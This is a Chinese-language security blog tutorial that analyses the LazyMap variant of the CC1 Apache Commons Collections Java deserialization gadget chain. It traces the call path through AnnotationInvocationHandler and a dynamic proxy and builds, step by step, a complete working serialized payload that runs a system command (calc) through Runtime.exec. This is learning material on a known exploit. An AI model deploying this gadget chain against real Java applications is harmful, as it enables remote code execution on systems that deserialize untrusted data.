Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】

潜心练剑 剑道自然神 / 2024-09-23 / 原文

CC1链的第二种方式-LazyMap版调用链

目录

  • LazyMap

  • 构造payload

  • CC1的调用链

  • 参考链接

LazyMap

在之前的CC1链中分析,其实是其中一种方式(国内版本),还有另外一种方式,也是ysoserial中的CC1链的方式(国外版本)。

区别在于调用transform的类是不同的。

在寻找transform调用的时候,当时使用的是TransformedMap中的checkSetValue()方法。

其实在LazyMap的get()方法也满足需求,也能到达readObject()。

具体方法如下:

其中比较重要的代码是

Object value = factory.transform(key);

也就是我们如果能控制factory的值为ChainedTransformer,就可以实现命令执行。

factory的赋值语句在LazpMap的构造函数内部。

那又是谁调用了LazyMap的get()方法呢?

这里非常的不好找,因为调用太多了(找到的师傅牛~)。

AnnotationInvocationHandler类的invoke()方法中有调用:

而这个AnnotationInvocationHandler类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()方法。

所以如果调用AnnotationInvocationHandler类的readObject()方法,该类的invoke()方法也会触发。

因此,整个的调用链也就出来了:

sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform

构造payload

从LazyMap的get()方法中可以看到,通过factory.transform(key)方式调用了transform()

所以根据CC1链的第一条,只需要控制factorychainedTransformer即可。

factory是在LazyMap的构造函数中赋值:

而此构造函数不能直接调用,但是可以通过decorate()方法获取到:

则可以得到如下不完整的payload:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

其中调用lazyMap的get()方法,则会触发恶意代码,测试一下:

// 调用lazyMap的get()方法则会调用chainedTransformer的transformer()
        lazyMap.get("key");

接下来想办法:如何调用到lazyMap的get()方法呢?

前面说在AnnotationInvocationHandler类的invoke()方法中有调用get()方法:

而这里的调用,是通过memberValues来进行调用,我们需要保证memberValueslazyMap,这样的话,执行该invoke()方法时才会调用到lazyMapget()方法。

memberValues是通过AnnotationInvocationHandler的构造函数传入:

AnnotationInvocationHandler类不能实例化,需要借助反射,相关代码如下:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

那如何调用InvocationHandler ih对象的invoke()方法呢?

这里可以看到AnnotationInvocationHandler类实现自InvocationHandler接口,也就是说AnnotationInvocationHandler类是一个动态代理的处理器类。

那么,想调用InvocationHandler ih对象的invoke()方法,只需要调用被代理对象的任意方法,则可以调用ih对象的invoke()。这里需要注意:直接调用被代理对象的任意方法不行,需要借助动态代理才可以调用到invoke(),也就是说需要创建动态代理。

创建动态代理代码如下:

  • 这里的动态代理对象,用来代理LazyMap实现的接口,处理器对象为ih
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

这样只需要调用LazyMap对象的任意方法,就会调用ih对象的invoke()

注意这里虽然调用任意方法,可以调用ih对象的invoke(),但是还得保证,调用invoke()方法之后,能执行到Object result = memberValues.get(member);,这样才能执行我们想要的lazyMapget()方法。

我们可以看到:执行invoke方法之后,有一些条件需要绕过一下,否则就直接返回了,无法执行到memberValues.get(member)

总结下来就是:动态代理的执行方法(即被代理对象lazyMap的任意方法)不能是equals\toString\hashCode\annotationType方法,且不能存在参数。

那么,被代理对象lazyMap可执行的方法(看代理的接口Map的方法)还有下面几个:

测试一下是否可以执行恶意代码:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);


Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), ih);

mapProxy.clear();

接下来,寻找谁调用了mapProxy(被代理对象)的size()/isEmpty()/clear()/keySet()/values()/entrySet()方法。

其实这里(在CC1链的第一条中也用过)刚好AnnotationInvocationHandlerreadObject方法中存在 map对象的entrySet()无参方法调用:

其中我们需要保证memberValues变量为mapProxy(被代理对象)即可,而且这里是在readObject方法中,直接一步到位。

这里怎么办呢?

同样的,通过反射创建AnnotationInvocationHandler对象,并将mapProxy(被代理对象)传入,给memberValues变量赋值即可:

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

而这里的前面三行已经有了,所以此时的payload可以合并为:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);  // 注意这里传入lazpMap,给memberValues赋值

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);  // 将InvocationHandler ih传入

InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);

得到了一个对象obj,对其序列化,反序列时会自动调用器readObject()方法,执行恶意代码。

则最终的payload为:

Transformer[] TransformerArray = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);

LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);


Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);

Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);

Object obj = declaredConstructor.newInstance(Target.class, mapProxy);


SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");

CC1的调用链

参考链接

Java安全 CC链1分析(Lazymap类)_cc1链使用的lazymap类-CSDN博客